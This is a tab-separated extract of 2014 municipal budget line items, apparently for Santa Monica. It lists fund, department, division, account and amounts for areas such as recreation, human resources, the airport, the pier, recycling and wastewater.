6567	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6568	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6569	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6570	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6571	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6572	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6573	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	555	PUBLIC LANDSCAPE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6574	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	816.0	 Supplies and Expenses	2014	3500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3500.0
6575	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2014	14101.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14101.0
6576	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	65143.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	65143.0
6577	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		DISABILITY INSURANCE		Salaries and Wages	2014	2859.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2859.0
6578	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2014	188531.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	188531.0
6579	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	6914.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6914.0
6580	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSES		 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
6581	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2014	1944.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1944.0
6582	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533280.0	AVIATION MAINTENANCE		 Supplies and Expenses	2014	143500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	143500.0
6583	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533290.0	LANDSCAPE MAINTENANCE		 Supplies and Expenses	2014	25600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25600.0
6584	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522710.0	AUTO REIMBURSEMENT	810.0	 Supplies and Expenses	2014	1200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1200.0
6585	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	30257.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	30257.0
6586	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	800.0
6587	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	695.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	695.0
6588	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2014	200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	200.0
6589	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	84716.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	84716.0
6590	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	1738.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1738.0
6591	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	139.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	139.0
6592	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2014	25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25000.0
6593	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	36452.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36452.0
6594	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2014	104.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	104.0
6595	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	1800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1800.0
6596	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400220.0	MEMORIAL PARK GYM USER FEE	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6597	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401007.0	SWIM CENTER-SEMI-PRIVATE LESSO	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6598	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401200.0	FIELD PERMITS	618.0	Rentals	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6599	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511749.0	VISION	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6600	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6601	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS		EAP	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6602	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6603	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6604	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6605	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	150000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	150000.0
6606	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	3123.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3123.0
6607	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	64138.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	64138.0
6608	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	5214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5214.0
6609	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2014	1050.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1050.0
6610	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	1079.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1079.0
6611	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	2288.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2288.0
6612	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
6613	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	200.0
6614	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2014	1217.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1217.0
6615	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401005.0	SWIM CENTER-ROOM RENTALS	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6616	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401230.0	COMMUNITY GARDENS RENTALS	618.0	Rentals	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6617	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	544160.0	RIDESHARE PROGRAM	804.0	 Supplies and Expenses	2014	6897.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6897.0
6618	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522910.0	VEHICLES - FUELS / LUBRICATION	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6619	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	555060.0	PROFESSIONAL SERVICES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6620	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	566910.0	MAINTENANCE-PARKING FACILITIES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6621	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	405875.0	HOMEWORK CLUB	612.0	Charges for Service	2014	-32550.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-32550.0
6622	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	556050.0	LA MARATHON	820.0	 Supplies and Expenses	2014	165568.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	165568.0
6623	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	400310.0	STRUCTURE ATTENDANT PARKING	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6624	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	566550.0	COMMUNITY FESTIVALS	810.0	 Supplies and Expenses	2014	36918.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	36918.0
6625	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511560.0	CAPITALIZED LABOR		Salaries and Wages	2014	-1616000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1616000.0
6626	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402150.0	MORTUARY SERVICES	650.0	Charges for Service	2014	-282285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-282285.0
6627	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	566160.0	CANINE PROGRAM	806.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6628	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511490.0	OVERTIME	804.0	Salaries and Wages	2014	1575.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1575.0
6629	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	17305.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17305.0
6630	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		DCAP	804.0	Salaries and Wages	2014	696.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	696.0
6631	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	7630.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7630.0
6632	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	577970.0	INSURANCE ADMIN	804.0	 Supplies and Expenses	2014	61500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	61500.0
6633	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404930.0	SALE OF COMPOSTING BINS	650.0	Charges for Service	2014	-6045.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-6045.0
6634	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522210.0	UTILITIES - TELEPHONE	810.0	 Supplies and Expenses	2014	1051.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1051.0
6635	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588090.0	FURNITURE & FURNISHINGS	808.0	 Supplies and Expenses	2014	5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5000.0
6636	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2014	32687.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	32687.0
6637	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511746.0	MED TRUST - MISC. EMPL	816.0	Salaries and Wages	2014	31285.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31285.0
6638	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		DCAP	816.0	Salaries and Wages	2014	1296.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1296.0
6639	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		DISABILITY INSURANCE	816.0	Salaries and Wages	2014	16451.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16451.0
6640	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577704.0	PROP A REIMB-BUS STOP/SHELTER	910.0	 Supplies and Expenses	2014	65000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	65000.0
6641	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402110.0	AIRPORT - HANGAR RENTAL	650.0	Charges for Service	2014	-193135.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-193135.0
6642	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402130.0	AIRPORT - LAND LEASE	650.0	Charges for Service	2014	-1512367.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1512367.0
6643	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402170.0	LANDING FEES	650.0	Charges for Service	2014	-1528082.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1528082.0
6644	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-25000.0
6645	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		EAP		Salaries and Wages	2014	727.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	727.0
6646	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522150.0	STORMWATER MANAGEMENT		 Supplies and Expenses	2014	77317.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	77317.0
6647	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522900.0	MEMBERSHIPS AND DUES		 Supplies and Expenses	2014	2960.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2960.0
6648	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	544390.0	OTHER COSTS		 Supplies and Expenses	2014	40775.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	40775.0
6649	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2014	395622.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	395622.0
6650	BA	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	402010.0	SM PIER - RENTAL	650.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6651	BA	IS	30	Pier Fund	620	HOUSING & ECONOMIC DEVELOPMENT	626	PIER DIVISION	405170.0	CAM FEES	650.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
6652	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	144211.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	144211.0
6653	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	17343.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	17343.0
6654	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	64925.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	64925.0
6655	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511490.0	OVERTIME	804.0	Salaries and Wages	2014	1574.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1574.0
6656	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	82941.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	82941.0
6657	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2014	8000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8000.0
6658	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
6659	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2014	33000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	33000.0
6660	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	14854.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14854.0
6661	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	187595.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	187595.0
6662	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2014	76.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	76.0
6663	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401490.0	RECYCLE LEASE RENTAL	650.0	Charges for Service	2014	-56600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-56600.0
6664	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401580.0	RECYCLED MATERIALS	662.0	Other	2014	-405400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-405400.0
6665	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407400.0	STATE RECYCLING PROGRAM	662.0	Other	2014	-44500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-44500.0
6666	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	661	WASTE WATER	405490.0	PARCEL TAX ASSESSMENT	606.0	Other Local Taxes	2014	-3011040.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3011040.0
6667	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544860.0	SUMMER FOOD SERVICE	810.0	 Supplies and Expenses	2014	22045.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	22045.0
6668	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2014	403460.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	403460.0
6669	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		EAP	816.0	Salaries and Wages	2014	1879.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1879.0
6670	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2014	2852.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2852.0
6671	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400980.0	SURF & SAND APPLICATION FEE	612.0	Charges for Service	2014	-51250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-51250.0
6672	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
6673	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	1568.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1568.0
6674	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	560010.0	SCADA O & M	844.0	 Supplies and Expenses	2014	23837.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23837.0
6675	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2014	46469.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	46469.0
6676	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	10364.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10364.0
6677	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	810.0	 Supplies and Expenses	2014	76030.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	76030.0
6678	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	187274.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	187274.0
6679	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	278.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	278.0
6680	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2014	100.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100.0
6681	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2014	-12065.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-12065.0
6682	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	541850.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	541850.0
6683	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	1350.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1350.0
6684	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	850.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	850.0
6685	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	34360.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	34360.0
6686	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2014	-72.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-72.0
6687	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2014	417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	417.0
